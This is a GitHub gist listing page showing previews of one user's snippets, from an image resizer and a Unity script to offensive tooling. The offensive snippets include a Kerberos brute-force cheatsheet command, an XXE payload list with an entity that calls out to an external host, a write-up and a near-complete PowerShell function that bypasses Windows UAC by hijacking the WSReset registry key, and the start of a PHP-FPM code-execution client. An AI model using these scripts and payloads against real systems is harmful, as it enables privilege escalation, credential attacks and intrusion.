Skip to content

Instantly share code, notes, and snippets.

@Y4er
Y4er / 1.cs
Last active May 16, 2022 03:46
netcore SkiaSharp Compress Resize Add Image Watermark
static void Resize(string filepath, int quality = 75, string watermarkpath = @"C:\Users\ddd\Desktop\123\water.png")
{
using (var water = File.OpenRead(watermarkpath))
{
SKBitmap waterBitmap = SKBitmap.Decode(water);
using (var file = File.OpenRead(filepath))
{
var rawLength = file.Length;
if (filepath.EndsWith("gif"))
@Y4er
Y4er / kerberos_attacks_cheatsheet.md
Created November 12, 2020 01:55 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@echo off
setlocal
set CATALINA_HOME=%CD%\..\tomcat
set JRE_HOME=%CD%\..\jre
"%JRE_HOME%\bin\java.exe" -Xms64m -Xmx256m -XX:MinHeapFreeRatio=30 -XX:MaxHeapFreeRatio=40 -classpath "%CD%\..\bin\inst.jar;%CD%\..\bin\inst-res.jar" -Dcatalina.home="%CATALINA_HOME%" -Djava.library.path="%CATALINA_HOME%\bin;%CATALINA_HOME%\..\ASA\win32" com.sygate.scm.tools.DatabaseFrame setpassword admin admin
endlocal
@Y4er
Y4er / XXE_payloads
Created May 28, 2020 06:55 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@Y4er
Y4er / 1
Last active May 21, 2020 03:19
1
deb http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse
@Y4er
Y4er / post.md
Created May 9, 2020 07:24
post.md

遇到了win10的环境就找了下bypassuac的。

环境

win10 1909 18363.535 Pro

复现

利用微软提供的sigcheck.exe签名检查工具发现 C:\Windows\System32\WSReset.exe 存在autoElevate属性为true

image.png

@Y4er
Y4er / Invoke-WSResetBypass.ps1
Created May 9, 2020 02:58
Invoke-WSResetBypass
function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
@Y4er
Y4er / fpm.py
Created November 25, 2019 01:05 — forked from phith0n/fpm.py
Fastcgi PHP-FPM Client && Code Execution
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
@Y4er
Y4er / downimg2local.py
Last active May 9, 2019 09:38
图床图片保存到本地
import requests
import re
import os
from datetime import datetime
COUNT = 0
def getimg(post, rule):
with open(post, 'r', encoding='utf-8') as f:
@Y4er
Y4er / Example.cs
Created February 28, 2019 06:51
VR开发的Point控制脚本和一个样例脚本
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using VRStandardAssets.Utils;
public class Example : MonoBehaviour {
VRInteractiveItem vritem;
//动态添加vritem
void Awake(){
if (!gameObject.GetComponent <VRInteractiveItem> ()) {